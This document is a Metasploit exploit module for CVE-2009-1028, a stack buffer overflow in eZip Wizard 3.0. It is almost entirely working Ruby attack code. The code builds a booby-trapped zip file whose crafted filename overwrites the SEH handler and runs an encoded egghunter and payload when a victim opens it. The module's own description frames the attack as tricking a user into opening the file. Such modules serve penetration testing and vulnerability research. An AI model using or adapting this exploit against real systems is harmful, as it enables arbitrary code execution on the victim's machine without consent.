eZip Wizard 3.0 Stack Buffer Overflow

`##  
# $Id: ezip_wizard_bof.rb 12428 2011-04-25 01:06:34Z sinn3r $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
require 'rex/zip'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Remote::Seh  
include Msf::Exploit::Remote::Egghunter  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'eZip Wizard 3.0 Stack Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow vulnerability in  
version 3.0 of ediSys Corp.'s eZip Wizard.  
  
In order for the command to be executed, an attacker must convince someone to  
open a specially crafted zip file with eZip Wizard, and access the specially  
file via double-clicking it. By doing so, an attacker can execute arbitrary  
code as the victim user.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'fl0 fl0w', #Initial discovery, poc  
'jduck', #Metasploit  
'Lincoln', #Complete Metasploit port  
],  
'Version' => '$Revision: 12428 $',  
'References' =>  
[  
[ 'CVE', '2009-1028' ],  
[ 'OSVDB', '52815' ],  
[ 'BID', '34044' ],  
[ 'URL', 'http://www.edisys.com/' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/8180' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/12059/' ],  
],  
'Platform' => [ 'win' ],  
'Payload' =>  
{  
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,  
},  
'Targets' =>  
[  
['Windows Universal', { 'Offset' => 58, 'Ret' => 0x10020710 }],  
],  
'DisclosureDate' => 'Mar 09 2009',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),  
OptString.new('USERNAME', [ true, 'Username', ''])  
], self.class)  
  
end  
  
def exploit  
  
#These badchars do not apply to the final payload  
badchars = "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x2F\x5c\x3c\x3e\x5e\x7e"  
  
eggoptions =   
{  
:checksum => true,  
:eggtag => 'w00t'   
}  
  
hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions)  
  
[ 'x86/alpha_mixed'].each { |name|  
enc = framework.encoders.create(name)  
if name =~/alpha/  
enc.datastore.import_options_from_hash({ 'BufferRegister' => 'ESP' })  
end  
hunter = enc.encode(hunter, nil, nil, platform)  
}  
  
#Username length affects our offset to hit SEH correctly  
if datastore['USERNAME'].length >= 9  
padding = rand_text_alpha(target['Offset'] - 8)  
else  
padding = rand_text_alpha(target['Offset'] - datastore['USERNAME'].length)  
end  
  
fname = padding  
fname << "\x61\x61\x7a\x04" #nseh, align + conditional jmp  
fname << [target.ret].pack('V') #seh  
fname << "\x61" * 29 #align for hunter  
fname << "\x58\x58\x41" #align for hunter  
fname << hunter  
fname << egg  
  
zip = Rex::Zip::Archive.new  
xtra = [0xdac0ffee].pack('V')  
comment = [0xbadc0ded].pack('V')  
zip.add_file(fname, xtra, comment)  
  
# Create the file  
print_status("Creating '#{datastore['FILENAME']}' file...")  
  
file_create(zip.pack)  
end  
  
end  
`